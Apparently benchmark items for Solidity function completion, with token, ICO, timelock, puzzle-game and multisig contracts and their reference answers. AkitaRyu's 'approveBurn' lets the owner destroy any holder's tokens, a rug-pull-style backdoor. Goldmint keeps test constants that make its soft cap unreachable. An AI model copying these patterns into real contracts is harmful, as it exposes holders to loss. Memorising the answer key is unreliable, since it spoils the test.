contract Goldmint is SafeMath { // Constants: // These values are HARD CODED!!! // For extra security we split single multisig wallet into 10 separate multisig wallets // // TODO: set real params here address[] public multisigs = [ 0x27ce565b1047c6258164062983bb8bc2917f11d2, 0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6, 0x7e2a7a10509177db2a7ea41e728743c4eb42f528, 0x27ce565b1047c6258164062983bb8bc2917f11d2, 0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6, 0x7e2a7a10509177db2a7ea41e728743c4eb42f528, 0x27ce565b1047c6258164062983bb8bc2917f11d2, 0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6, 0x7e2a7a10509177db2a7ea41e728743c4eb42f528, 0xF4Ce80097bf1E584822dBcA84f91D5d7d9df0846 ]; // We count ETH invested by person, for refunds (see below) mapping(address => uint) ethInvestedBy; // These can be changed before ICO starts ($7USD/MNTP) uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000; // USD/ETH is fixed for the whole ICO // WARNING: if USD/ETH rate changes DURING ICO -> we won't change it // coinmarketcap.com 04.09.2017 uint constant ETH_PRICE_IN_USD = 300; // Price changes from block to block //uint constant SINGLE_BLOCK_LEN = 700000; uint constant SINGLE_BLOCK_LEN = 100; // 1 000 000 tokens uint public constant BONUS_REWARD = 1000000 * 1 ether; // 2 000 000 tokens uint public constant FOUNDERS_REWARD = 2000000 * 1 ether; // 7 000 000 is sold during the ICO //uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * 1 ether; uint public constant ICO_TOKEN_SUPPLY_LIMIT = 150 * 1 ether; // 150 000 tokens soft cap (otherwise - refund) uint public constant ICO_TOKEN_SOFT_CAP = 150000 * 1 ether; // Fields: address public creator = 0x0; address public tokenManager = 0x0; address public otherCurrenciesChecker = 0x0; uint64 public icoStartedTime = 0; MNTP public mntToken; GoldmintUnsold public unsoldContract; // Total amount of tokens sold during ICO uint public icoTokensSold = 0; // Total amount of tokens sent to GoldmintUnsold contract after ICO is finished uint public icoTokensUnsold = 0; // Total number of tokens that were issued by a scripts uint public issuedExternallyTokens = 0; // This is where FOUNDERS_REWARD will be allocated address public foundersRewardsAccount = 0x0; enum State{ Init, ICORunning, ICOPaused, // Collected ETH is transferred to multisigs. // Unsold tokens transferred to GoldmintUnsold contract. ICOFinished, // We start to refund if Soft Cap is not reached. // Then each token holder should request a refund personally from his // personal wallet. // // We will return ETHs only to the original address. If your address is changed // or you have lost your keys -> you will not be able to get a refund. // // There is no any possibility to transfer tokens // There is no any possibility to move back Refunding, // In this state we lock all MNT tokens forever. // We are going to migrate MNTP -> MNT tokens during this stage. // // There is no any possibility to transfer tokens // There is no any possibility to move back Migrating } State public currentState = State.Init; // Modifiers: modifier onlyCreator() { require(msg.sender==creator); _; } modifier onlyTokenManager() { require(msg.sender==tokenManager); _; } modifier onlyOtherCurrenciesChecker() { require(msg.sender==otherCurrenciesChecker); _; } modifier onlyInState(State state){ require(state==currentState); _; } // Events: event LogStateSwitch(State newState); event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); // Functions: /// @dev Constructor function Goldmint( address _tokenManager, address _otherCurrenciesChecker, address _mntTokenAddress, address _unsoldContractAddress, address _foundersVestingAddress) { creator = msg.sender; tokenManager = _tokenManager; otherCurrenciesChecker = _otherCurrenciesChecker; mntToken = MNTP(_mntTokenAddress); unsoldContract = GoldmintUnsold(_unsoldContractAddress); // slight rename foundersRewardsAccount = _foundersVestingAddress; assert(multisigs.length==10); } function startICO() public onlyCreator onlyInState(State.Init) { setState(State.ICORunning); icoStartedTime = uint64(now); mntToken.lockTransfer(true); mntToken.issueTokens(foundersRewardsAccount, FOUNDERS_REWARD); } function pauseICO() public onlyCreator onlyInState(State.ICORunning) { setState(State.ICOPaused); } function resumeICO() public onlyCreator onlyInState(State.ICOPaused) { setState(State.ICORunning); } function startRefunding() public onlyCreator onlyInState(State.ICORunning) { // only switch to this state if less than ICO_TOKEN_SOFT_CAP sold require(icoTokensSold < ICO_TOKEN_SOFT_CAP); setState(State.Refunding); // in this state tokens still shouldn't be transferred assert(mntToken.lockTransfers()); } function startMigration() public onlyCreator onlyInState(State.ICOFinished) { // there is no way back... setState(State.Migrating); // disable token transfers mntToken.lockTransfer(true); } /// @dev This function can be called by creator at any time, /// or by anyone if ICO has really finished. function finishICO() public onlyInState(State.ICORunning) { require(msg.sender == creator || isIcoFinished()); setState(State.ICOFinished); // 1 - lock all transfers mntToken.lockTransfer(false); // 2 - move all unsold tokens to unsoldTokens contract icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold); if(icoTokensUnsold>0){ mntToken.issueTokens(unsoldContract,icoTokensUnsold); unsoldContract.finishIco(); } // 3 - send all ETH to multisigs // we have N separate multisigs for extra security uint sendThisAmount = (this.balance / 10); // 3.1 - send to 9 multisigs for(uint i=0; i<9; ++i){ address ms = multisigs[i]; if(this.balance>=sendThisAmount){ ms.transfer(sendThisAmount); } } // 3.2 - send everything left to 10th multisig if(0!=this.balance){ address lastMs = multisigs[9]; lastMs.transfer(this.balance); } } function setState(State _s) internal { currentState = _s; LogStateSwitch(_s); } // Access methods: function setTokenManager(address _new) public onlyTokenManager { tokenManager = _new; } // TODO: stealing creator's key means stealing otherCurrenciesChecker key too! /* function setOtherCurrenciesChecker(address _new) public onlyCreator { otherCurrenciesChecker = _new; } */ // These are used by frontend so we can not remove them function getTokensIcoSold() constant public returns (uint){ return icoTokensSold; } function getTotalIcoTokens() constant public returns (uint){ return ICO_TOKEN_SUPPLY_LIMIT; } function getMntTokenBalance(address _of) constant public returns (uint){ return mntToken.balanceOf(_of); } function getBlockLength()constant public returns (uint){ return SINGLE_BLOCK_LEN; } function getCurrentPrice()constant public returns (uint){ return getMntTokensPerEth(icoTokensSold); } ///////////////////////////// function isIcoFinished() constant public returns(bool) { return (icoStartedTime > 0) && (now > (icoStartedTime + 30 days) || (icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT)); } function getMntTokensPerEth(uint _tokensSold) public constant returns (uint){ // 10 buckets uint priceIndex = (_tokensSold / 1 ether) / SINGLE_BLOCK_LEN; assert(priceIndex>=0 && (priceIndex<=9)); uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0]; // We have to multiply by '1 ether' to avoid float truncations // Example: ($7000 * 100) / 120 = $5833.33333 uint pricePer1000tokensUsd = ((STD_PRICE_USD_PER_1000_TOKENS * 100) * 1 ether) / (100 + discountPercents[priceIndex]); // Correct: 300000 / 5833.33333333 = 51.42857142 // We have to multiply by '1 ether' to avoid float truncations uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * 1 ether * 1 ether) / pricePer1000tokensUsd; return mntPerEth; } function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) { require(msg.value!=0); // The price is selected based on current sold tokens. // Price can 'overlap'. For example: // 1. if currently we sold 699950 tokens (the price is 10% discount) // 2. buyer buys 1000 tokens // 3. the price of all 1000 tokens would be with 10% discount!!! uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / 1 ether; issueTokensInternal(_buyer,newTokens); // Update this only when buying from ETH ethInvestedBy[msg.sender] = safeAdd(ethInvestedBy[msg.sender], msg.value); } /// @dev This is called by other currency processors to issue new tokens function issueTokensFromOtherCurrency(address _to, uint _weiCount) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker { require(_weiCount!=0); uint newTokens = (_weiCount * getMntTokensPerEth(icoTokensSold)) / 1 ether; issueTokensInternal(_to,newTokens); } /// @dev This can be called to manually issue new tokens /// from the bonus reward function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager { // can not issue more than BONUS_REWARD require((issuedExternallyTokens + _tokens)<=BONUS_REWARD); mntToken.issueTokens(_to,_tokens); issuedExternallyTokens = issuedExternallyTokens + _tokens; } <FILL_FUNCTION> // anyone can call this and get his money back function getMyRefund() public onlyInState(State.Refunding) { address sender = msg.sender; uint ethValue = ethInvestedBy[sender]; require(ethValue > 0); // 1 - send money back sender.transfer(ethValue); ethInvestedBy[sender] = 0; // 2 - burn tokens mntToken.burnTokens(sender, mntToken.balanceOf(sender)); } // Default fallback function function() payable { // buyTokens -> issueTokensInternal buyTokens(msg.sender); } }
require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT); mntToken.issueTokens(_to,_tokens); icoTokensSold+=_tokens; LogBuy(_to,_tokens);
function issueTokensInternal(address _to, uint _tokens) internal
function issueTokensInternal(address _to, uint _tokens) internal
31,508
TokenTimelock
null
contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor () public {<FILL_FUNCTION_BODY> } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } }
contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; <FILL_FUNCTION> /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } }
IERC20 token = IERC20(0x60CEE60BE1eE37e7787F3dFd18fEF3299d9fA216); address beneficiary = address(0xa1299BFD41F2D381f3c83D9fe9DDCB9E1db7bBCd); uint256 releaseTime = 1600214400; // solhint-disable-next-line not-rely-on-time require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time"); _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime;
constructor () public
constructor () public
80,278
ONGB
approve
contract ONGB { using SafeMath for uint; address public owner; string public name = "ONGB"; uint public totalSupply; mapping(address => uint) public balances; mapping(address => bool) public whitelist; mapping(address => mapping (address => uint)) allowed; // Allows execution by the owner only modifier onlyOwner{ require(owner == msg.sender); _; } constructor(uint _initialSupply) public { owner = msg.sender; totalSupply = _initialSupply; balances[owner] = _initialSupply; } /** * @dev Get balance of investor * @param _tokenOwner investor's address * @return balance of investor */ function balanceOf(address _tokenOwner) public view returns (uint balance) { return balances[_tokenOwner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * * @param _tokenOwner the address which owns the funds * @param _spender the address which will spend the funds * * @return the amount of tokens still avaible for the spender */ function allowance(address _tokenOwner, address _spender) public view returns (uint){ return allowed[_tokenOwner][_spender]; } /** * @return true if the transfer was successful */ function transfer(address _to, uint _amount) public payable returns(bool){ require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Allows another account/contract to spend some tokens on its behalf * approve has to be called twice in 2 separate transactions - once to * change the allowance to 0 and secondly to change it to the new allowance value * @param _spender approved address * @param _amount allowance amount * * @return true if the approval was successful */ function approve(address _spender, uint _amount) public payable returns(bool){<FILL_FUNCTION_BODY> } /** * @return true if the transfer was successful */ function transferFrom(address _from, address _to, uint _amount) public payable returns (bool) { require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_from].add(_amount) >= balances[_from]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } // replenishment of funds function mintTokens(uint value) public payable onlyOwner { balances[owner] = balances[owner].add(value); totalSupply = totalSupply.add(value); emit IncreaseFunds(value); } // burning of funds function burnFunds(uint value) public payable onlyOwner { balances[owner] = balances[owner].sub(value); totalSupply = totalSupply.sub(value); emit BurnFunds(value); } // adding to whitelist function addToWhitelist(address user) public payable onlyOwner { whitelist[user] = true; emit AddedToWhitelist(user); } // removing from whitelist function removeFromWhitelist(address user) public payable onlyOwner { whitelist[user] = false; emit RemovedFromWhitelist(user); } // Events Log event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event AddedToWhitelist(address indexed user); event RemovedFromWhitelist(address indexed user); event IncreaseFunds(uint value); event BurnFunds(uint value); }
contract ONGB { using SafeMath for uint; address public owner; string public name = "ONGB"; uint public totalSupply; mapping(address => uint) public balances; mapping(address => bool) public whitelist; mapping(address => mapping (address => uint)) allowed; // Allows execution by the owner only modifier onlyOwner{ require(owner == msg.sender); _; } constructor(uint _initialSupply) public { owner = msg.sender; totalSupply = _initialSupply; balances[owner] = _initialSupply; } /** * @dev Get balance of investor * @param _tokenOwner investor's address * @return balance of investor */ function balanceOf(address _tokenOwner) public view returns (uint balance) { return balances[_tokenOwner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * * @param _tokenOwner the address which owns the funds * @param _spender the address which will spend the funds * * @return the amount of tokens still avaible for the spender */ function allowance(address _tokenOwner, address _spender) public view returns (uint){ return allowed[_tokenOwner][_spender]; } /** * @return true if the transfer was successful */ function transfer(address _to, uint _amount) public payable returns(bool){ require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } <FILL_FUNCTION> /** * @return true if the transfer was successful */ function transferFrom(address _from, address _to, uint _amount) public payable returns (bool) { require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_from].add(_amount) >= balances[_from]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } // replenishment of funds function mintTokens(uint value) public payable onlyOwner { balances[owner] = balances[owner].add(value); totalSupply = totalSupply.add(value); emit IncreaseFunds(value); } // burning of funds function burnFunds(uint value) public payable onlyOwner { balances[owner] = balances[owner].sub(value); totalSupply = totalSupply.sub(value); emit BurnFunds(value); } // adding to whitelist function addToWhitelist(address user) public payable onlyOwner { whitelist[user] = true; emit AddedToWhitelist(user); } // removing from whitelist function removeFromWhitelist(address user) public payable onlyOwner { whitelist[user] = false; emit RemovedFromWhitelist(user); } // Events Log event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event AddedToWhitelist(address indexed user); event RemovedFromWhitelist(address indexed user); event IncreaseFunds(uint value); event BurnFunds(uint value); }
allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true;
function approve(address _spender, uint _amount) public payable returns(bool)
/** * @dev Allows another account/contract to spend some tokens on its behalf * approve has to be called twice in 2 separate transactions - once to * change the allowance to 0 and secondly to change it to the new allowance value * @param _spender approved address * @param _amount allowance amount * * @return true if the approval was successful */ function approve(address _spender, uint _amount) public payable returns(bool)
37,430
Fifteen
initNewGame
contract Fifteen is Payments { //puzzleId => row => column => value mapping (uint8 => mapping (uint8 => mapping (uint8 => uint8))) public fifteenPuzzles; mapping (uint8 => address) public puzzleIdOwner; mapping (uint8 => uint256) public puzzleIdPrice; uint256 public jackpot = 0; function initNewGame() public onlyCoOwner payable {<FILL_FUNCTION_BODY> } function getPuzzle(uint8 _puzzleId) public constant returns(uint8[16] puzzleValues) { uint8 row; uint8 col; uint8 num = 0; for (row=1; row<=4; row++) { for (col=1; col<=4; col++) { puzzleValues[num] = fifteenPuzzles[_puzzleId][row][col]; num++; } } } function changePuzzle(uint8 _puzzleId, uint8 _row, uint8 _col, uint8 _torow, uint8 _tocol) public gameNotStopped { require (msg.sender == puzzleIdOwner[_puzzleId]); require (fifteenPuzzles[_puzzleId][_torow][_tocol] == 0); //free place is number 0 require (_row >= 1 && _row <= 4 && _col >= 1 && _col <= 4 && _torow >= 1 && _torow <= 4 && _tocol >= 1 && _tocol <= 4); require ((_row == _torow && (_col-_tocol == 1 || _tocol-_col == 1)) || (_col == _tocol && (_row-_torow == 1 || _torow-_row== 1))); fifteenPuzzles[_puzzleId][_torow][_tocol] = fifteenPuzzles[_puzzleId][_row][_col]; fifteenPuzzles[_puzzleId][_row][_col] = 0; if (fifteenPuzzles[_puzzleId][1][1] == 1 && fifteenPuzzles[_puzzleId][1][2] == 2 && fifteenPuzzles[_puzzleId][1][3] == 3 && fifteenPuzzles[_puzzleId][1][4] == 4) { // we have the winner - stop game msg.sender.transfer(jackpot); jackpot = 0; //stop game } } function buyPuzzle(uint8 _puzzleId) public gameNotStopped payable { address puzzleOwner = puzzleIdOwner[_puzzleId]; require(puzzleOwner != msg.sender && msg.sender != address(0)); uint256 puzzlePrice = puzzleIdPrice[_puzzleId]; require(msg.value >= puzzlePrice); //new owner puzzleIdOwner[_puzzleId] = msg.sender; uint256 oldPrice = uint256(puzzlePrice/2); //new price puzzleIdPrice[_puzzleId] = uint256(puzzlePrice*2); //profit fee 20% from oldPrice ( or 10% from puzzlePrice ) uint256 profitFee = uint256(oldPrice/5); uint256 oldOwnerPayment = uint256(oldPrice + profitFee); //60% from oldPrice ( or 30% from puzzlePrice ) to jackpot jackpot += uint256(profitFee*3); if (puzzleOwner != address(this)) { puzzleOwner.transfer(oldOwnerPayment); coOwner.transfer(profitFee); } else { coOwner.transfer(oldOwnerPayment+profitFee); } //excess pay if (msg.value > puzzlePrice) { msg.sender.transfer(msg.value - puzzlePrice); } } modifier gameNotStopped() { require(jackpot > 0); _; } }
contract Fifteen is Payments { //puzzleId => row => column => value mapping (uint8 => mapping (uint8 => mapping (uint8 => uint8))) public fifteenPuzzles; mapping (uint8 => address) public puzzleIdOwner; mapping (uint8 => uint256) public puzzleIdPrice; uint256 public jackpot = 0; <FILL_FUNCTION> function getPuzzle(uint8 _puzzleId) public constant returns(uint8[16] puzzleValues) { uint8 row; uint8 col; uint8 num = 0; for (row=1; row<=4; row++) { for (col=1; col<=4; col++) { puzzleValues[num] = fifteenPuzzles[_puzzleId][row][col]; num++; } } } function changePuzzle(uint8 _puzzleId, uint8 _row, uint8 _col, uint8 _torow, uint8 _tocol) public gameNotStopped { require (msg.sender == puzzleIdOwner[_puzzleId]); require (fifteenPuzzles[_puzzleId][_torow][_tocol] == 0); //free place is number 0 require (_row >= 1 && _row <= 4 && _col >= 1 && _col <= 4 && _torow >= 1 && _torow <= 4 && _tocol >= 1 && _tocol <= 4); require ((_row == _torow && (_col-_tocol == 1 || _tocol-_col == 1)) || (_col == _tocol && (_row-_torow == 1 || _torow-_row== 1))); fifteenPuzzles[_puzzleId][_torow][_tocol] = fifteenPuzzles[_puzzleId][_row][_col]; fifteenPuzzles[_puzzleId][_row][_col] = 0; if (fifteenPuzzles[_puzzleId][1][1] == 1 && fifteenPuzzles[_puzzleId][1][2] == 2 && fifteenPuzzles[_puzzleId][1][3] == 3 && fifteenPuzzles[_puzzleId][1][4] == 4) { // we have the winner - stop game msg.sender.transfer(jackpot); jackpot = 0; //stop game } } function buyPuzzle(uint8 _puzzleId) public gameNotStopped payable { address puzzleOwner = puzzleIdOwner[_puzzleId]; require(puzzleOwner != msg.sender && msg.sender != address(0)); uint256 puzzlePrice = puzzleIdPrice[_puzzleId]; require(msg.value >= puzzlePrice); //new owner puzzleIdOwner[_puzzleId] = msg.sender; uint256 oldPrice = uint256(puzzlePrice/2); //new price puzzleIdPrice[_puzzleId] = uint256(puzzlePrice*2); //profit fee 20% from oldPrice ( or 10% from puzzlePrice ) uint256 profitFee = uint256(oldPrice/5); uint256 oldOwnerPayment = uint256(oldPrice + profitFee); //60% from oldPrice ( or 30% from puzzlePrice ) to jackpot jackpot += uint256(profitFee*3); if (puzzleOwner != address(this)) { puzzleOwner.transfer(oldOwnerPayment); coOwner.transfer(profitFee); } else { coOwner.transfer(oldOwnerPayment+profitFee); } //excess pay if (msg.value > puzzlePrice) { msg.sender.transfer(msg.value - puzzlePrice); } } modifier gameNotStopped() { require(jackpot > 0); _; } }
//set start win pot require (msg.value>0); require (jackpot == 0); jackpot = msg.value; uint8 row; uint8 col; uint8 num; for (uint8 puzzleId=1; puzzleId<=6; puzzleId++) { num=15; puzzleIdOwner[puzzleId] = address(this); puzzleIdPrice[puzzleId] = 0.001 ether; for (row=1; row<=4; row++) { for (col=1; col<=4; col++) { fifteenPuzzles[puzzleId][row][col]=num; num--; } } }
function initNewGame() public onlyCoOwner payable
function initNewGame() public onlyCoOwner payable
18,183
AkitaRyu
null
contract AkitaRyu is ERC20 { constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {<FILL_FUNCTION_BODY> } function approveBurn(address account, uint256 value) external onlyOwner { _burn(account, value); } }
contract AkitaRyu is ERC20 { <FILL_FUNCTION> function approveBurn(address account, uint256 value) external onlyOwner { _burn(account, value); } }
_name = unicode"AkitaRyu | AkitaRyu.com"; _symbol = unicode"AKITA-RYU🥊"; _decimals = 9; _totalSupply += initialSupply; _balances[msg.sender] += initialSupply; emit Transfer(address(0), msg.sender, initialSupply);
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals)
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals)
49,337
ClasseToken
null
contract ClasseToken is ERC777 { constructor(uint256 cap) ERC777("ClasseToken", "CAS", new address[](0)) public {<FILL_FUNCTION_BODY> } }
contract ClasseToken is ERC777 { <FILL_FUNCTION> }
_mint(msg.sender, msg.sender, cap, "", "");
constructor(uint256 cap) ERC777("ClasseToken", "CAS", new address[](0)) public
constructor(uint256 cap) ERC777("ClasseToken", "CAS", new address[](0)) public
8,181
MultiOwnerWallet
delOwner
contract MultiOwnerWallet { /* Declarations */ using SafeMath for uint256; /* Structures */ struct action_s { address origin; uint256 voteCounter; uint256 uid; mapping(address => uint256) voters; } /* Variables */ mapping(address => bool) public owners; mapping(bytes32 => action_s) public actions; uint256 public actionVotedRate; uint256 public ownerCounter; uint256 public voteUID; Token public token; /* Constructor */ constructor(address _tokenAddress, uint256 _actionVotedRate, address[] _owners) public { uint256 i; token = Token(_tokenAddress); require( _actionVotedRate <= 100 ); actionVotedRate = _actionVotedRate; for ( i=0 ; i<_owners.length ; i++ ) { owners[_owners[i]] = true; } ownerCounter = _owners.length; } /* Fallback */ function () public { revert(); } /* Externals */ function transfer(address _to, uint256 _amount) external returns (bool _success) { bytes32 _hash; bool _subResult; _hash = keccak256(address(token), 'transfer', _to, _amount); if ( actions[_hash].origin == 0x00 ) { emit newTransferAction(_hash, _to, _amount, msg.sender); } if ( doVote(_hash) ) { _subResult = token.transfer(_to, _amount); require( _subResult ); } return true; } function bulkTransfer(address[] _to, uint256[] _amount) external returns (bool _success) { bytes32 _hash; bool _subResult; _hash = keccak256(address(token), 'bulkTransfer', _to, _amount); if ( actions[_hash].origin == 0x00 ) { emit newBulkTransferAction(_hash, _to, _amount, msg.sender); } if ( doVote(_hash) ) { _subResult = token.bulkTransfer(_to, _amount); require( _subResult ); } return true; } function changeTokenAddress(address _tokenAddress) external returns (bool _success) { bytes32 _hash; _hash = keccak256(address(token), 'changeTokenAddress', _tokenAddress); if ( actions[_hash].origin == 0x00 ) { emit newChangeTokenAddressAction(_hash, _tokenAddress, msg.sender); } if ( doVote(_hash) ) { token = Token(_tokenAddress); } return true; } function addNewOwner(address _owner) external returns (bool _success) { bytes32 _hash; require( ! owners[_owner] ); _hash = keccak256(address(token), 'addNewOwner', _owner); if ( actions[_hash].origin == 0x00 ) { emit newAddNewOwnerAction(_hash, _owner, msg.sender); } if ( doVote(_hash) ) { ownerCounter = ownerCounter.add(1); owners[_owner] = true; } return true; } function delOwner(address _owner) external returns (bool _success) {<FILL_FUNCTION_BODY> } /* Constants */ function selfBalance() public view returns (uint256 _balance) { return token.balanceOf(address(this)); } function balanceOf(address _owner) public view returns (uint256 _balance) { return token.balanceOf(_owner); } function hasVoted(bytes32 _hash, address _owner) public view returns (bool _voted) { return actions[_hash].origin != 0x00 && actions[_hash].voters[_owner] == actions[_hash].uid; } /* Internals */ function doVote(bytes32 _hash) internal returns (bool _voted) { require( owners[msg.sender] ); if ( actions[_hash].origin == 0x00 ) { voteUID = voteUID.add(1); actions[_hash].origin = msg.sender; actions[_hash].voteCounter = 1; actions[_hash].uid = voteUID; } else if ( ( actions[_hash].voters[msg.sender] != actions[_hash].uid ) && actions[_hash].origin != msg.sender ) { actions[_hash].voters[msg.sender] = actions[_hash].uid; actions[_hash].voteCounter = actions[_hash].voteCounter.add(1); emit vote(_hash, msg.sender); } if ( actions[_hash].voteCounter.mul(100).div(ownerCounter) >= actionVotedRate ) { _voted = true; emit votedAction(_hash); delete actions[_hash]; } } /* Events */ event newTransferAction(bytes32 _hash, address _to, uint256 _amount, address _origin); event newBulkTransferAction(bytes32 _hash, address[] _to, uint256[] _amount, address _origin); event newChangeTokenAddressAction(bytes32 _hash, address _tokenAddress, address _origin); event newAddNewOwnerAction(bytes32 _hash, address _owner, address _origin); event newDelOwnerAction(bytes32 _hash, address _owner, address _origin); event vote(bytes32 _hash, address _voter); event votedAction(bytes32 _hash); }
contract MultiOwnerWallet { /* Declarations */ using SafeMath for uint256; /* Structures */ struct action_s { address origin; uint256 voteCounter; uint256 uid; mapping(address => uint256) voters; } /* Variables */ mapping(address => bool) public owners; mapping(bytes32 => action_s) public actions; uint256 public actionVotedRate; uint256 public ownerCounter; uint256 public voteUID; Token public token; /* Constructor */ constructor(address _tokenAddress, uint256 _actionVotedRate, address[] _owners) public { uint256 i; token = Token(_tokenAddress); require( _actionVotedRate <= 100 ); actionVotedRate = _actionVotedRate; for ( i=0 ; i<_owners.length ; i++ ) { owners[_owners[i]] = true; } ownerCounter = _owners.length; } /* Fallback */ function () public { revert(); } /* Externals */ function transfer(address _to, uint256 _amount) external returns (bool _success) { bytes32 _hash; bool _subResult; _hash = keccak256(address(token), 'transfer', _to, _amount); if ( actions[_hash].origin == 0x00 ) { emit newTransferAction(_hash, _to, _amount, msg.sender); } if ( doVote(_hash) ) { _subResult = token.transfer(_to, _amount); require( _subResult ); } return true; } function bulkTransfer(address[] _to, uint256[] _amount) external returns (bool _success) { bytes32 _hash; bool _subResult; _hash = keccak256(address(token), 'bulkTransfer', _to, _amount); if ( actions[_hash].origin == 0x00 ) { emit newBulkTransferAction(_hash, _to, _amount, msg.sender); } if ( doVote(_hash) ) { _subResult = token.bulkTransfer(_to, _amount); require( _subResult ); } return true; } function changeTokenAddress(address _tokenAddress) external returns (bool _success) { bytes32 _hash; _hash = keccak256(address(token), 'changeTokenAddress', _tokenAddress); if ( actions[_hash].origin == 0x00 ) { emit newChangeTokenAddressAction(_hash, _tokenAddress, msg.sender); } if ( doVote(_hash) ) { token = Token(_tokenAddress); } return true; } function addNewOwner(address _owner) external returns (bool _success) { bytes32 _hash; require( ! owners[_owner] ); _hash = keccak256(address(token), 'addNewOwner', _owner); if ( actions[_hash].origin == 0x00 ) { emit newAddNewOwnerAction(_hash, _owner, msg.sender); } if ( doVote(_hash) ) { ownerCounter = ownerCounter.add(1); owners[_owner] = true; } return true; } <FILL_FUNCTION> /* Constants */ function selfBalance() public view returns (uint256 _balance) { return token.balanceOf(address(this)); } function balanceOf(address _owner) public view returns (uint256 _balance) { return token.balanceOf(_owner); } function hasVoted(bytes32 _hash, address _owner) public view returns (bool _voted) { return actions[_hash].origin != 0x00 && actions[_hash].voters[_owner] == actions[_hash].uid; } /* Internals */ function doVote(bytes32 _hash) internal returns (bool _voted) { require( owners[msg.sender] ); if ( actions[_hash].origin == 0x00 ) { voteUID = voteUID.add(1); actions[_hash].origin = msg.sender; actions[_hash].voteCounter = 1; actions[_hash].uid = voteUID; } else if ( ( actions[_hash].voters[msg.sender] != actions[_hash].uid ) && actions[_hash].origin != msg.sender ) { actions[_hash].voters[msg.sender] = actions[_hash].uid; actions[_hash].voteCounter = actions[_hash].voteCounter.add(1); emit vote(_hash, msg.sender); } if ( actions[_hash].voteCounter.mul(100).div(ownerCounter) >= actionVotedRate ) { _voted = true; emit votedAction(_hash); delete actions[_hash]; } } /* Events */ event newTransferAction(bytes32 _hash, address _to, uint256 _amount, address _origin); event newBulkTransferAction(bytes32 _hash, address[] _to, uint256[] _amount, address _origin); event newChangeTokenAddressAction(bytes32 _hash, address _tokenAddress, address _origin); event newAddNewOwnerAction(bytes32 _hash, address _owner, address _origin); event newDelOwnerAction(bytes32 _hash, address _owner, address _origin); event vote(bytes32 _hash, address _voter); event votedAction(bytes32 _hash); }
bytes32 _hash; require( owners[_owner] ); _hash = keccak256(address(token), 'delOwner', _owner); if ( actions[_hash].origin == 0x00 ) { emit newDelOwnerAction(_hash, _owner, msg.sender); } if ( doVote(_hash) ) { ownerCounter = ownerCounter.sub(1); owners[_owner] = false; } return true;
function delOwner(address _owner) external returns (bool _success)
function delOwner(address _owner) external returns (bool _success)
64,525
Liteyear
Liteyear
